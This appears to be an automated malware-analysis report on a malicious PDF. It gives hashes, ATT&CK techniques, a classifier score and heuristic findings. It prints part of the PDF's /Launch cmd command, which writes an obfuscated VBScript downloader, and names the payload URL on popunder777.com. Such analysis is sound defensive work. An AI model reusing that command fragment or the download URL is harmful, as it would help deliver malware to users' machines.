PDF malware analysis — malicious · 572293fa3f0142f6

MALICIOUS

PDF

803 B

MD5: e93c5d28eba6d6f30d7a9cbf23d7d96b SHA-1: 9180d99ad5c12112c80f2e9573b87512781a4580 SHA-256: 572293fa3f0142f6f1728866dfd2d6d1b0d33b8fa2c1a933f2bdba973b2d41c1

150 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command attempts to create a VBScript file named 'm.vbs' by concatenating strings, which is then likely intended to be executed. The embedded URL 'http://popunder777.com/pek/tmp/m.vbs' suggests the VBScript payload will be downloaded from this location. The ML classifier strongly indicates maliciousness.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 4

Launch action high PDF_LAUNCH

PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
/Launch action target: cmd high PDF_LAUNCH_COMMAND

PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://popunder777.com/pek/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_pdf_script_0000006f.bin` `ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5`	pdf-embedded-script	PDF decompressed stream script payload at offset 0x6F	63 bytes

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